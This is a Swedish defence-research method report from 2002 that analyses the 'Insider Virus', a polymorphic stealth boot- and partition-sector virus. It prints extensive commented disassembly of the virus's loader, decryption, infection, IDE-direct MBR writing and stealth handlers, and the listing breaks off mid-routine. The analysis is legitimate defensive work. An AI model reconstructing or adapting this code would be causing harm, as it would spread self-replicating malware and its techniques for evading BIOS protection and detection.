FOI-R–0750–SE
December 2002
ISSN 1650-1942

Metodrapport

Arne Vidström

Analys av Insider Virus

Ledningssystem
581 11 Linköping

TOTALFÖRSVARETS FORSKNINGSINSTITUT
Ledningssystem
581 11 Linköping

FOI-R–0750–SE
December 2002
ISSN 1650-1942

Metodrapport

Arne Vidström

Analys av Insider Virus

Innehåll

1 Inledning

Den här rapporten beskriver analysen av det tidigare okända viruset ”Insider Virus”. Institutionen för Systemanalys och IT-säkerhet fick en infekterad diskett för analys från en person som deltagit i en kurs som hållits av FOI.

Insider Virus är ett polymorfiskt virus, med stealthteknik, som infekterar boot- och partitionssektorer. Det innehåller kod som kringgår eventuella BIOS-skydd mot partitionssektorvirus, samt ett överskrivningsskydd som förhindrar att viruset tas bort från en infekterad hårddisk när det är aktivt. Viruset innehåller inte någon destruktiv payload.

2 Kortfattad beskrivning av virusets funktion

På en diskett infekterar viruset bootsektorn, där det placerar en rutin som laddar in de övriga delarna, och kör igång den första av dessa. De delar som inte finns i bootsektorn ligger lagrade på diskettens fem sista sektorer. På en hårddisk infekterar viruset partitionssektorn, där det placerar en motsvarande laddningsrutin. De delar som inte finns i partitionssektorn ligger lagrade på sektor 3-7 på samma spår. Dessa sektorer är normalt oanvända, även om hårddisken fylls helt. De två första sektorerna av virusets andra del börjar med en dekrypteringsrutin som dekrypterar resten av viruset. Den allra sista sektorn innehåller den gamla bootsektorn eller partitionssektorn som krävs för att starta upp operativsystemet efter att viruset utfört allt det ska göra under uppstarten.

När viruset infekterar en dator så lägger det sig i partitionssektorn, och om datorn kör Windows 9x/ME så lägger det dessutom in en VxD (devicedriver för Windows 9x/ME) som används för att trigga ytterligare diskettinfektioner från Windows. När viruset är aktivt i en dator med enbart DOS så infekterar det alla disketter man accessar. Det räcker med att byta enhetsbokstav till diskettstationen för att en diskett i den ska infekteras. När viruset är aktivt i en dator med Windows krävs det att man gör något som orsakar en sökning efter långa filnamn på disketten. Det räcker med att man tittar på vad disketten innehåller för att den ska infekteras.

Virusets VxD lyckas inte trigga några infektioner i andra versioner än Windows 95. Windows 98/ME fanns sannolikt inte vid den tidpunkt som viruset konstruerades. När VxD:n körs i Windows 98 verkar en versionskontroll (som sker mot ett dåligt dokumenterat invärde - därav osäkerheten) förhindra triggning. När Windows ME infekterats får man blåskärm vid uppstarten. Anledningen verkar vara relaterad till att viruset minskar mängden ledigt minne. Viruset upptäcktes när det orskade blåskärm i en dator med Windows ME. En diskett hade glömts kvar i diskettstationen när datorn startades så att hårddisken blev infekterad. Vid omstart utan disketten blev det blåskärm när Windows ME skulle starta. Detta gav upphov till misstankar om att disketten var infekterad med någon form av bootsektorvirus.

När viruset är aktivt i datorn ligger det resident i det konventionella minnets översta 3kb. Genom att lura DOS att det konventionella minnet är 3kb mindre än det verkligen är kan viruset förhindra att det blir överskrivet.

Viruset är polymorfiskt på det sättet att största delen av det är XOR-krypterad word-vis med en variabel nyckel som tas fram från realtidsklockans tid vid infektionstillfället. Däremot är laddningsrutinen i bootsektorn respektive partitionssektorn, samt dekrypteringsrutinen, helt statiska. Det gör att man lätt kan skapa en signatur för viruset som är fast oavsett krypteringsnyckelns värde.

Infektion av partitionssektorn på en hårddisk utförs genom att viruset kommunicerar direkt med IDE-kontrollern för att kringgå eventuellt skydd i BIOS mot partitionssektorvirus. Viruset innehåller också ett skrivskydd som gör att eventuella försök att skriva över virusets sektorer i början av

hårddisken förhindras när viruset är aktivt. Dessutom leds förändringar i partitionstabellen automatiskt om till originalpartitionssektorn som ligger lagrad i sektor 7. Denna omledning sker däremot inte om viruset inte är aktivt, som t.ex. när man bootat från en ren diskett för att ändra partitionerna.

Viruset innehåller en stealthfunktion som gör att man ser den rena originalsektorns innehåll om man försöker läsa innehållet i partitionssektorn. Denna funktion är enbart igång när viruset är aktivt i datorn.

Analysen visade också att det inte finns någon destruktiv payload i viruset.

3 Hur analysen utfördes

Analysens första steg bestod i att försöka avgöra om disketten i fråga verkligen var infekterad av ett okänt virus eller inte.

Allra först scannades disketten med några olika antivirusprogram för att avgöra om den var infekterad med ett eller flera kända virus. Inget av programmen gav något utslag.

Därefter utfördes en snabb kontroll med hjälp av programmet debug genom att läsa in bootsektorn och diverse andra sektorer för att sedan disassemblera dessa och leta efter tecken på viruskod. Det framgick ganska snabbt att disketten antagligen var infekterad med någon form av bootsektorvirus. Dels fanns typiska tecken på viruskod, och dels hittades en kopia av en bootsektor längst bak på disketten - ett vanligt tecken på att man har att göra med ett bootsektorvirus. Programmet debug följer med DOS och Windows som standard och körs från kommandoprompten.

Nästa steg var att försäkra sig om att det verkligen handlade om ett fungerande virus och inte bara ett misslyckat försök att skapa ett virus. Några försöksinfektioner visade att viruset kunde replikera sig, samt att det hade en stealthfunktion.

Den verkliga analysen genomfördes efter att virusets olika delar hade disassemblerats med hjälp av IDA Pro. Eftersom huvuddelen av viruset var krypterat behövde det dekrypteras innan disassembleringen. Detta utfördes genom att modifiera virusets okrypterade kod med hjälp av debug så att det kunde dekryptera sig självt men inte köra igång den dekrypterade koden. Därefter startades viruset så det dekrypterade sig självt, varefter minnesinnehållet dumpades till disk och disassemblerades. När detta var klart gicks den resulterande assemblerkoden igenom för hand och kommenterades. Resultatet av denna genomgång finns att läsa nedan i form av en komplett disassemblering med kommentarer.

Efter att genomgången av koden var färdig bekräftades de olika egenskaper som upptäckts genom praktiska försök med viruset i vårt laboratorium.

4 Layout på viruset i det reserverade minnet

Här finns intressanta delar av viruset i det reserverade minnet:

```
0FEh - 102h: "DrW-6"
1CCh - 1E1h: "Dr White - Sweden 1997"
472h - 605h: VxD:n uppdelad i mindre bitar finns
             här
606h - 63Ah: Sökvägar till VxD:n
65Ah - 680h: "Insider Virus - written i Malmo...
             B02E"
800h - 9FFh: Originalstartsektorn
```

Värt att notera är också att på position 684h - 7FFh finns en del av viruset som aldrig dekrypteras men som däremot krypteras gång på gång med olika nycklar. Det har inte gjorts några försök att få fram originalinnehållet från det här området. Gissningsvis innehåller det antingen slumpmässig data eller ett meddelande från virusförfattaren, men oavsett vilket så är inte innehållet relevant för virusets funktion.

5 Bootsektorkoden på en infekterad diskett

I de sista 5 sektorerna på disketten ligger själva viruset, förutom att den allra sista sektorn används till att spara originalbootsektorn. Viruset placerar dessa sektorer i ett reserverat område 3kb före slutet av det konventionella minnet och startar sedan exekveringen på den första instruktionen i detta område.

```
loc_0_0:

jmp short loc_0_58

loc_0_58:

; Placering av stacken.
xor si, si
cli
mov sp, 7C00h
mov ss, si
assume ss:seg000
sti

; Låt ES peka på positionen 3kb under toppen
; av det konventionella minnet.
mov ds, si
assume ds:seg000
mov bx, ds:413h
sub bx, 3
shl bx, 6
mov es, bx
assume es:nothing

; Läs in de 5 sista sektorerna från disketten
; till det reserverade minnesområdet.
mov dx, 100h
mov cx, 4F0Eh
xor bx, bx
mov ax, 205h
int 13h

; Imitera ett tidigare call på stacken och
; returnera. Det gör att exekveringen startar
; på första instruktionen i det reserverade
; området.
push es
push 0
```

```
retf
```

6 Partitionssektorkoden på en infekterad hårddisk

I sektor 3-6 på hårddisken ligger själva viruset, och i sektor 7 ligger originalpartitionssektorn. Viruset placerar dessa sektorer i ett reserverat område 3kb före slutet av det konventionella minnet och startar sedan exekveringen på den första instruktionen i detta område.

```
loc_0_0:

; Placering av stacken.
xor si, si
cli
mov sp, 7C00h
mov ss, si
assume ss:seg000
sti

; Låt ES peka på positionen 3kb under toppen
; av det konventionella minnet.
mov ds, si
assume ds:seg000
mov bx, ds:413h
sub bx, 3
shl bx, 6
mov es, bx

; Läs sektor 3 till 7 från hårddisken till det
; reserverade minnesområdet.
mov dx, 80h
mov cx, 3
xor bx, bx
mov ax, 205h
int 13h

; Imitera ett tidigare call på stacken och
; returnera. Det gör att exekveringen startar
; på första instruktionen i det reserverade
; området.
push es
push 0
retf
```

7 Virusets huvuddel

Virusets huvuddel börjar med att dekryptera resten av viruset. Den innehåller också kod för att läsa in originalbootsektor/partitionssektor, starta upp systemet, haka på vissa interrupt, samt infektera disketter och hårddiskar.

```
loc_0_0:

; Dekrypterar viruset och fortsätter sedan
; exekveringen på den första dekrypterade
; instruktionen (som följer efter "loop").
; Nyckeln (i det här fallet 0A6E9h) är
; variabel och bestäms från tiden realtids-
; klockan ger vid infektionstillfället.
mov cx, 33Ah
mov di, 12h
loc_0_6:
xor word ptr cs:[di], 0A6E9h
add di, 2
loop loc_0_6

; Spara gamla adressen till ISR för INT 13h.
call sub_0_8B

; Sätt DS = reserverade området, ES = start-
; sektorns område. Vi kallar bootsektorn eller
; partitionssektorn för "startsektorn" i
; fortsättningen för att få namnet oberoende av
; hur viruset startat.
push cs
pop ds
assume ds:seg000
push ss
pop es

; Kopiera in originalstartsektorn till minnes-
; området där startsektorn ligger sedan
; tidigare.
mov si, 800h
mov di, 7C00h
mov cx, 100h
cld
rep movsw

; Kontrollera om virusets ISR:er för INT 1Ch
; och INT 2Fh redan är installerade. Om bägge
; är installerade så boota upp datorn, annars
```

```
; fortsätt vidare.
cmp word ptr es:70h, 103h
jnz loc_0_35
cmp word ptr es:0BCh, 17Ch
jz loc_0_73

loc_0_35:

; Kör infektionsrutinen.
call sub_0_1E2

; Spara mängden tillgängligt konventionellt
; minne i 679h.
push ss
pop ds
assume ds:nothing
mov si, 413h
mov di, 697h
push si
lodsw
stosw
pop si

; Minska mängden tillgängligt konventionellt
; minne med 3kb.
sub ax, 3
mov [si], ax

; Används för att "låsa upp" virusets ISR för
; INT 1Ch.
mov cs:byte_0_699, 1

; Spara ISR-adressen för INT 60h i offset 68Dh
; (skrivs över en bit ner eftersom interruptet
; är ledigt från början). Sätt ny ISR till
; virusets rutin på 1C4h. INT 60h är ett user
; interrupt som kan användas till valfri
; funktion. Viruset använder det för att anropa
; infektionsrutinen från VxD:n.
mov di, 68Dh
mov si, 180h
mov ax, 1C4h
call sub_0_7E

; Spara ISR-adressen för INT 1Ch i offset 68Dh.
; Sätt ny ISR till virusets rutin på 103h.
```

```
; INT 1Ch körs automatiskt av ISR:en för
; INT 08h, dvs den får ett anrop 18.2 ggr per
; sekund.
mov di, 68Dh
mov si, 70h
mov ax, 103h
call sub_0_7E

; Spara ISR-adressen för INT 2Fh i offset 691h.
; Sätt ny ISR till virusets rutin på 17Ch. Det
; här interruptet anropas bland annat av
; Windows vid uppstart. Det används av viruset
; för att veta när det ska kopiera in VxD:n.
mov di, 691h
mov si, 0BCh
mov ax, 17Ch
call sub_0_7E

loc_0_73:

; Kör igång originalstartsektorn, virusets
; huvuddel avslutas och operativsystemet
; startar.
xor ax, ax
mov ds, ax
assume ds:seg000
push ds
pop es
assume es:seg000
jmp far ptr 0:7C00h

; Den här rutinen används för att haka in nya
; ISR:er på valfria interrupts. Den tar
; adressen i interruptvektortabellen som DS:SI
; och platsen i minnet där den gamla adressen
; ska sparas i ES:DI. Dessutom tar den adressen
; till den nya ISR:en i ES:AX.
sub_0_7E:
cld
push si
loc_0_80:
movsw
movsw
pop di
cli
loc_0_84:
```

```
mov [di], ax
mov [di+2],es
sti
retn
sub_0_7E endp

; Den här rutinen sparar gamla ISR-adressen till
; INT 13h på offset 685h.
sub_0_8B proc near
cld
mov si, 4Ch
mov di, 685h
movsw
movsw
retn
sub_0_8B endp

; Här startar infektionsrutinen i viruset.
; "cs:byte_0_402" är 0 om viruset startat från
; floppy och 80h om det startar från en
; infekterad hårddisk.
sub_0_1E2 proc near

; Om viruset startat från floppy blir DL = 80h.
; Om det däremot startar från hårddisken så blir
; DL = 81h.
mov dl, 80h
cmp cs:byte_0_402, dl
cmc
adc dl, 0

; Hit kommer även ett anrop från ISR för
; INT 60h när viruset aktiverats inifrån Windows
; för att infektera en diskett. DL är då 0
; respektive 1 om det är första respektive
; andra diskettstationen som berörs. Lägg märke
; till att i resten av koden står det att
; "operativsystemet startas upp" men i de fall
; som anropet kommit från VxD:n ska det läsas
; som "VxD:n återfår kontrollen".
loc_0_1ED:

; DS=ES=CS.
push cs
pop ds
assume ds:seg000
```

```
push ds
pop es
assume es:seg000

; Patchar en MOV-instruktion längre in i
; viruset så att den arbetar mot rätt diskenhet.
mov byte_0_2D3, dl

; Kontrollera om det är en diskett eller hård-
; disk som ska infekteras. Hoppa om diskett.
cmp dl, 7Fh
jbe loc_0_212

; En hårddisk ska infekteras. Läs in sektorerna
; 3-4 från hårddisken till offset 6A3h. Om
; läsningen misslyckas så hoppa till
; locret_0_222 och då startas operativsystemet
; upp.
call sub_0_2F0
mov ax, 202h
call sub_0_2C0
jb locret_0_222

; Läs in värden direkt från IDE-kontrollern.
; AH = sektornummer efter läsningen tidigare
; (ska vara 4 eftersom viruset läst mer än en
; sektor och i det fallet pekar sektorregistret
; på sektorn *efter* sista lästa sektorn).
; AL = drive/head. Detta värde sparas sedan i
; word_0_695 och används för en extra kontroll
; senare i viruset.
mov dx, 1F3h
in al, dx
mov ah, al
add dx, 3
in al, dx
mov word_0_695, ax

loc_0_212:
; Läser in startsektorn från enheten som ska
; infekteras. Om läsningen misslyckas görs ett
; hopp till locret_0_222 och operativsystemet
; startar. Startsektorn hamnar på offset 8A3h.
; Därefter görs en kontroll av om startsektorn
; redan är infekterad eller inte. Om den inte
; redan är infekterad görs ett hopp till
```

```
; loc_0_223, annars startas operativsystemet.
mov ax, 201h
call loc_0_2CA
jb locret_0_222
mov si, 8A3h
call sub_0_2D7
jnz loc_0_223

locret_0_222:
retn

; Startsektorn är inte infekterad så nu ska den
; infekteras.
loc_0_223:

; Kopiera den rena startsektorn från 8A3h till
; 6A3h.
mov di, 6A3h
push si
mov cx, 100h
cld
rep movsw

; Ta reda på sektorn där de 5 virussektorerna
; ska placeras.
call sub_0_2F0

; DI pekar nu på 8A3h-kopian av startsektorn.
; Det är den viruset ska infektera.
pop di

; Om det inte gick att få fram sektorn där de
; 5 virussektorerna ska placeras så bootas
; operativsystemet upp.
or cx, cx
jz locret_0_222

; Lagra "JMP 58h" i EAX. Maskinkoden för den
; instruktionen finns på offset 3E8h och hämtas
; alltså in därifrån.
mov si, 3E8h
lodsw

; DH laddades vid det tidigare anropet till
; sub_0_2F0 och innehåller 1 om en diskett ska
; infekteras, 0 om en hårddisk ska infekteras.
```

```
; Om en hårddisk ska infekteras så sker nu ett
; hopp till loc_0_241.
or dh, dh
jz loc_0_241

; Skriv in "JMP 58h" först i bootsektorkoden
; på offset 8A3h.
stosw

; Laddaren i bootsektorn ska ligga här
; (8A3h + 58h = 8FBh).
mov di, 8FBh

loc_0_241:
; Flytta 28h = 40 bytes från DS:SI till ES:DI.
; DS:SI pekar nu på en lagrad laddningsrutin
; som ska kopieras in i startsektorn på rätt
; plats. Om det är en hårddisk som ska
; infekteras så pekar ES:DI nu på bufferten
; direkt sen tidigare. Om det är en diskett så
; pekar den alltså 58h bytes in i bufferten.
mov cx, 28h
rep movsb

; Vilken enhet var det som skulle infekteras?
; Om det är en diskett så hoppa till loc_0_271,
; annars fortsätt.
mov bh, byte_0_2D3
cmp bh, 7Fh
jbe loc_0_271

; Viruset ska alltså infektera en hårddisk.
; Plocka fram sektor, drive/head som sparades
; tidigare.
mov ax, word_0_695

; Plocka ut LBA-flaggan till CF. Sektornumret
; ska vara 4 i CHS-läge (Cylinder Head Sector)
; och 3 i LBA-läge (Logical Block Addressing).
; Det sker ett hopp till loc_0_271 om viruset
; är på fel sektor i CHS-läge, och där finns en
; rutin för att infektera partitionssektorn
; via INT 13h. Normalt blir det inget hopp dit
; utan koden fortsätter.
mov bl, al
rcl al, 2
```

```
adc ah, 0
cmp ah, 4
jnz loc_0_271

; Återställ efter bitmanipulationerna. Maska
; bort LBA. Om viruset är på fel sektor i LBA-
; läge så sker ett hopp till loc_0_271, och
; där finns alltså en rutin för att infektera
; partitionssektorn via INT 13h. Normalt sker
; inget hopp här heller utan koden fortsätter.
xchg ax, bx
and al, 0BFh
shl ah, 4
or ah, 0A0h
cmp ah, al
jnz loc_0_271

; Infekterar partitionssektorn genom att
; kommunicera direkt med IDE-kontrollern.
; Detta kringgår eventuellt virusskydd i BIOS
; mot MBR-virus.
call sub_0_31C

; Krypterar och skriver in resten av viruset.
jmp short loc_0_276

; Infekterar startsektorn. Om det misslyckas
; så sker ett hopp till locret_0_222 och
; operativsystemet startar upp. Hit kommer man
; i två fall: dels om det inte går att infektera
; en partitionssektor direkt via IDE-
; kontrollern och dels när bootsektorn på
; en diskett ska infekteras.
loc_0_271:
call sub_0_2C7
jb locret_0_222

; Nu ska resten av viruset krypteras och
; kopieras in.
loc_0_276:

; Hämtar in positionen för den första av de 5
; sektorerna där resten av viruset ska
; placeras. Flyttar fram positionen 4 steg till
; där originalstartsektorn ska ligga och
; skriver in den rena startsektorn från 6A3h.
```

```
; Sparar också originalpositionen för den ska
; användas för att skriva in de krypterade
; sektorerna senare.
call sub_0_2F0
  mov ax, 301h
mov word_0_69C, dx
mov word_0_69A, cx
add cl, 4
call sub_0_2C0

; Hämtar aktuell tid från realtidsklockan. Ser
; till att minuterna och sekunderna hamnar i
; DX och tar 1-komplementet på DX. Resultatet
; blir krypteringsnyckeln och den skrivs in på
; loc_0_6+3.
mov ah, 2
int 1Ah
mov dl, cl
not dx
mov word ptr loc_0_6+3, dx

; Krypterar de första 2 av de återstående 4
; sektorerna och skriver in.
xor si, si
call sub_0_2A3

; Krypterar de sista 2 sektorerna och skriver
; in. Flyttar fram 2 sektorer före att de
; skrivs in.
mov si, 400h
add word_0_69A, 2
sub_0_1E2 endp

; Den här rutinen krypterar 2 sektorer (=200h
; words) åt gången.
sub_0_2A3 proc near
mov cx, 200h
cld

; Kontrollen mot 10h sker för att inte viruset
; ska kryptera dekrypteringsrutinen.
loc_0_2A7:
lodsw
cmp si, 10h
jbe loc_0_2B2
xor ax, word ptr loc_0_6+3
```

```
; Sparar de 2 krypterade sektorerna på disk.
loc_0_2B2:
stosw
loop loc_0_2A7
mov dx, word_0_69C
mov cx, word_0_69A
mov ax, 302h
sub_0_2A3 endp

; unk_0_2D2 anropar original-ISR för INT 13h.
; När denna returnerar för 2:a gången startar
; operativsystemet upp.
sub_0_2C0 proc near
mov bx, 6A3h
mov di, bx
jmp short near ptr unk_0_2D2
sub_0_2C0 endp

; Skriver en sektor.
sub_0_2C7 proc near
mov ax, 301h
sub_0_2C7 endp

; Det är startsektorn som ska skrivas.
; Innehållet hämtas från offset 8A3h. loc_0_f7
; går till original-ISR för INT 13h.
; Instruktionen "mov dl, 0" är den som
; patchats tidigare i koden. DL talar om
; vilken enhet BIOS ska skriva till.
loc_0_2CA:
mov cx, 1
mov dh, ch
mov bx, 8A3h
mov dl, 0
jmp loc_0_f7

; Den här rutinen kontrollerar om startsektorn
; redan är infekterad eller inte. Kontrollen
; mot 0EBh görs för att ta reda på om det är en
; bootsektor eller inte. En bootsektor börjar
; alltid med ett JMP, dvs 0EBh. Om det är en
; bootsektor måste viruset titta på position
; 58h, men om det är en partitionssektor
; tittar det direkt på första positionen.
sub_0_2D7 proc near
```

```
push si
cmp byte ptr es:[si], 0EBh
jnz loc_0_2E1
add si, 58h

; Kontrollerar om startsektorn redan är
; infekterad genom att jämföra med två words
; som finns i en infekterad startsektor.
loc_0_2E1:
cmp word ptr es:[si], 0F633h
jnz loc_0_2EE
cmp word ptr es:[si+14h], 8E06h

loc_0_2EE:
pop si
retn
sub_0_2D7 endp

; Den här rutinen tar reda på var de 5 virus-
; sektorerna ska placeras.
sub_0_2F0 proc near

; Om det är en hårddisk så ska de börja på
; sektor 3 och i så fall hoppar viruset vidare
; till loc_0_310 direkt.
mov cx, 3
mov dh, ch
mov dl, byte_0_2D3
cmp dl, 7Fh
ja loc_0_310

; Det är en diskett. Hämtar antalet sektorer
; från BPB på disketten (BPB = BIOS Parameter
; Block). På offset 5F4h ligger virusets
; "supportade" diskettstorlekar som 4 words
; med antalet sektorer för varje storlek.
; Dessa storlekar är 360kb, 720kb, 1.2Mb och
; 1.44 Mb. Om inte disketten är en av dessa
; storlekar så sker ett hopp till
; locret_0_31B. Om disketten är en av dessa
; storlekar så plockas positionen för 5:e
; sektorn bakifrån fram och placeras i CX.
; DX uppdateras till rätt värde på drive och
; head.
mov ax, word_0_8B6
mov di, 5F4h
```

```
mov cx, 4
repne scasw
jnz locret_0_31B
mov cx, [di+8]
mov dh, 1

loc_0_310:
and dl, 0F0h
mov word_0_405, cx
mov word ptr byte_0_402, dx

locret_0_31B:
retn
sub_0_2F0 endp

; Den här rutinen infekterar partitionssektorn
; genom att kommunicera direkt med IDE-
; kontrollern. Eftersom senaste läsningen på
; hårddisken var från partitionssektorn så
; pekar kontrollern just nu redan på
; partitionssektorn så viruset behöver inte
; placera den rätt. Detta beror på att *en*
; sektor lästes och då flyttas inte
; kontrollern fram till sektorn efter utan
; står kvar på den lästa sektorn.
sub_0_31C proc near

; En dummyrutin. Varför den finns är oklart
; men den gör inget.
call sub_0_34F

; Skriver en sektor.
mov dx, 1F2h
mov al, 1
out dx, al

; Kommando: skriv sektor, försök igen om det
; inte lyckas.
mov dx, 1F7h
mov al, 30h
out dx, al

; Vänta här tills kontrollern är färdig.
mov ah, 8
call sub_0_357
```

```
; Stoppa in sektordatan i dataporten på
; kontrollern.
mov si, 8A3h
mov cx, 100h
mov dx, 1F0h
cld
loc_0_33A:
lodsw
out dx, ax
loop loc_0_33A

; Vänta tills kontrollern är färdig.
loc_0_33E:
mov dx, 1F7h
in al, dx
test al, 80h
jnz loc_0_33E

; Läs status och felregistren och kasta bort
; värdena.
mov dx, 1F7h
in al, dx
mov dx, 1F1h
in al, dx
retn
sub_0_31C endp

; Dummyfunktion. Varför den finns här är oklart
; men den gör inget. "inc dx" är meningslöst
; eftersom DX skrivs över direkt den returnerar.
sub_0_34F proc near
jmp short loc_0_351
loc_0_351:
jmp short loc_0_353
loc_0_353:
jmp short loc_0_355
loc_0_355:
inc dx
retn
sub_0_34F endp

; Den här rutinen väntar tills IDE-kontrollern
; är färdig.
sub_0_357 proc near
mov dx, 1F7h
in al, dx
```

```
test ah, al
jz sub_0_357
retn
sub_0_357 endp
```

8 ISR för INT 1Ch

Rutinen för INT 1Ch tar reda på vilken version av DOS som körs och väljer därifrån om viruset ska arbeta i Windows 9x/ME (version 7 och uppåt) eller inte (före version 7). Om viruset enbart ska arbeta i DOS så hakas en rutin in på INT 13h som har tre funktioner: stealth, överskrivningsskydd, samt triggning av infektion av disketter. Om viruset ska arbeta i Windows 9x/ME så sätts en ny ISR för INT 2Fh som har till uppgift att slutföra virusinstallationen när Windows kommit igång.

```
; ISR för INT 1Ch.
103h:

; När interruptvektorerna sätts i virusets huvud-
; del så sätts denna position till värdet 1 och
; det sker inget hopp här. Denna ISR stängs
; senare av genom att sätta värdet till 0.
cmp cs:byte_0_699, 0
jz loc_0_177

; Sparar viktiga register för att kunna köra den
; gamla ISR:en senare.
push ds
push es
pusha

; DS=0 och ES=CS.
xor si, si
mov ds, si
push cs
pop es

; Läser in adressen till ISR för INT 20h och
; INT 27h. Därefter görs några kontroller och
; om dessa misslyckas körs den gamla ISR:en.
; Exakt vad kontrollerna innebär är oklart men
; inget farligt kan hända på grund av dem.
; Gissningsvis är detta ett sätt att ta reda på
; om DOS startat än eller inte.
mov si, 82h
cld
lodsw
cmp ax, 800h
ja loc_0_174
or ax, ax
jz loc_0_174
```

```
cmp [si+2], ax
jnz loc_0_174
cmp [si+1Ah], ax
jnz loc_0_174

; Stäng av denna ISR från och med nu.
mov cs:byte_0_699, 0

; Ta reda på DOS versionsnummer. Om det är
; version 7 och uppåt (alltså Windows 9x/ME) så
; fortsätter viruset nedåt, annars sker ett hopp
; till loc_0_14d.
mov ax, 3306
int 21h
cmp bl, 7
jb loc_0_14d

; Spara gamla ISR-adressen för INT 13h.
call sub_0_8b

; Spara ISR-adressen för INT 2Fh i offset 691h
; och sätt den nya till 19Dh. Detta är för att
; få anrop av typen Windows Enhanced Mode Loader
; Init Broadcast för att veta när det är dags att
; utföra vidare installation i Windows.
mov di, 691h
mov si, 0BCh
mov ax, 19Dh
call sub_0_7e

; Haka av den här ISR:en från kedjan om det går
; och kör sedan den gamla ISR:en som viruset har
; sparat en pekare till.
jmp short loc_0_159

; Spara gamla ISR-adressen för INT 13h på offset
; 689h och sätt nya till 95h.
loc_0_14d:
mov di, 689h
mov si, 4Ch
mov ax, 95h
call sub_0_7e

loc_0_159:

; ES=0.
```

```
push ds
pop es

; Pekar INT 1Ch på virusets ISR? Om inte så kör
; det den gamla ISR, som det sparat adressen
; till, genom att göra ett hopp till loc_0_174.
mov ax, cs
mov di, 70h
mov si, 68Dh
cmp word ptr[di], 103h
jnz loc_0_174
cmp [di+2], ax
jnz loc_0_174

; Ja INT 1Ch pekar på virusets ISR - alltså kan
; det haka av sig från kedjan utan problem.
mov ds, ax
cli
movsw
movsw
sti

; Återställer register som viruset varit och
; ändrat i och kör sedan den gamla ISR som det
; sparat en pekare till.
loc_0_174:
popa
pop es
assume es:nothing
pop ds
assume ds:nothing
loc_0_177:
jmp cs:dword_0_68d
```

9 ISR för INT 13h

Den här rutinen har tre funktioner. Den första är att ge viruset stealthteknik så att man inte kan se att startsektorn är infekterad när det är aktivt i datorn. Den andra är att ge viruset ett överskrivningsskydd ifall någon skulle försöka radera det när det är aktivt. Den tredje är att trigga infektionen av disketter.

```
95h:

; Om det rör en högre sektor än den 7:e så kör
; gamla ISR.
cmp cx, 7
ja near ptr unk_0_f2

; Om det rör ett annat huvud än det första så
; kör gamla ISR.
cmp dh, ch
jnz near ptr unk_0_f2

; Om det är en läsning så hoppa till unk_0_ba.
cmp ah, 2
jz near ptr unk_0_ba

; Om det inte är en skrivning så kör gamla ISR.
cmp ah, 3
jnz near ptr unk_0_f2

; Om det är en skrivning till diskett så kör
; gamla ISR.
cmp dl, 7Fh
jbe near ptr unk_0_f2

; Det rör alltså en skrivning till hårddisken
; och någon av sektorerna som innehåller viruset.
; Skriv en sektor 6 positioner längre bort.
; Detta blir alltså ett överskrivningsskydd, plus
; att en skrivning till partitionssektorn kommer
; istället att skriva till originalpartitions-
; sektorn som ju ligger i sektor 7. När detta är
; färdigt returnerar viruset till anroparen.
push cx
add cl, 6
mov al, 1
call sub_0_f7
pop cx
retr 2
```

```
; Anropet är en läsning.
loc_0_ba:

; Om det inte rör startsektorn så kör gamla ISR.
cmp cl, 1
jnz loc_0_f2

; Om det är en läsning på hårddisken så hoppa
; till loc_0_d3. Detta anropar alltså stealth-
; funktionen.
cmp dl, 7Fh
ja loc_0_d3

; Om det är en läsning av mer än en sektor på
; disketten så kör gamla ISR.
cmp al, cl
jnz loc_0_f2

; Kör igång infektionsrutinen för att infektera
; disketten. Värdet på DL sätts till den
; diskettenhet som disketten befinner sig i.
; Därefter återställs registren och den gamla
; ISR:en körs för att utföra läsningen.
push ds
push es
pusha
call sub_0_1ed
popa
pop es
assume es:nothing
pop ds
assume ds:nothing
jmp short loc_0_f2

; Den här rutinen utgör stealthfunktionen i
; viruset.
loc_0_d3:

push si
push cx
push dx

; Spara adressen till anroparens buffert.
mov si, bx
```

```
; Kör original INT 13h.
call sub_0_f7

pop dx

; Kontrollera om partitionssektorn är infekterad.
; Om den inte är infekterad görs ett hopp till
; loc_0_ec för att sedan returnera till anroparen.
call sub_0_2d7
jnz loc_0_ec

; Läs in sektor 7 istället, alltså original-
; partitionssektorn, genom ett anrop till
; original INT 13h ISR.
mov ax, 201h
mov cx, 7
mov bx, si
call sub_0_f7

; Returnera till anroparen.
loc_0_ec:
clc
pop cx
pop si
retf 2

; Gör ett hopp till original INT 13h ISR.
unk_0_f2:
jmp cs:dword_0_689
```

10 Preliminär ISR för INT 2Fh

Den här rutinen installeras av viruset preliminärt men byts ut om det visar sig att datorn kör Windows 9x/ME. Rutinen har till uppgift att se till att viruset inte blir överskrivet.

```
; Det krävs ett hopp allra först därför att
; strängen "RPL" måste ligga 3 bytes över starten
; till ISR:en för INT 2Fh för att IO.SYS i DOS 5+
; ska köra INT 2Fh (RPL = supervisor Reboot
; PaneL). Detta är en odokumenterad funktion men
; den talar om för DOS 5+ var det konventionella
; minnet slutar, och på det sättet har den före-
; träde framför värdet som INT 12h returnerar och
; som används av tidigare DOS-versioner.
; Viruset hakar på sig här för att förhindra att
; det blir överskrivet.
17c:
jmp short near ptr unk_0_182

loc_0_182:

; Är det anrop för justering av minnesstorlek?
; Om inte så gör ett hopp till loc_0_198, alltså
; kör ursprungliga ISR för INT 2Fh.
cmp ax, 4A06h
jnz loc_0_198

; Det är det här segmentet som kommer strax
; efter det konventionella minnets slut.
push cs
pop dx

; Spara DS värde och låt sedan DS peka på segment
; 0. Därefter ställer viruset rätt mängden ledigt
; minne i BIOS dataarea, återställer DS värde och
; returnerar.
push ds
push 0
pop ds
assume ds:seg000
push cs:word_0_697
pop word_0_413
pop ds
assume ds:nothing
iret
```

```
; Anropa den ursprungliga ISR:en för INT 2Fh.
loc_0_198:
jmp cs:dword_0_691
```

11 ISR för INT 2Fh med DOS 7.0 eller högre

Den här rutinen installeras senare av viruset om det visar sig att datorn kör Windows 9x/ME. Rutinen har till uppgift att kopiera in VxD:n till Windows. VxD:n ligger lagrad i delar, där varje del är ett antal bytes i rad som inte innehåller en lång rad nollor. När VxD:n ska kopieras in så fyller viruset på med rätt antal nollor mellan delarna för att återskapa hela VxD:n, som innehåller fler nollor än andra bytes. På det sättet tar viruset mycket mindre plats än det skulle göra annars.

```
19D:

; Är detta ett Windows Enhanced Mode Init
; Broadcast? Om inte så görs ett hopp till
; loc_0_198, alltså den gamla ISR:en för INT 2Fh.
cmp ax, 1605h
jnz loc_0_198

; Utför själva installationen av viruset i
; Windows. Om detta misslyckas så görs ett hopp
; till loc_0_198, alltså den gamla ISR:en för
; INT 2Fh.
call sub_0_360
jb loc_0_198

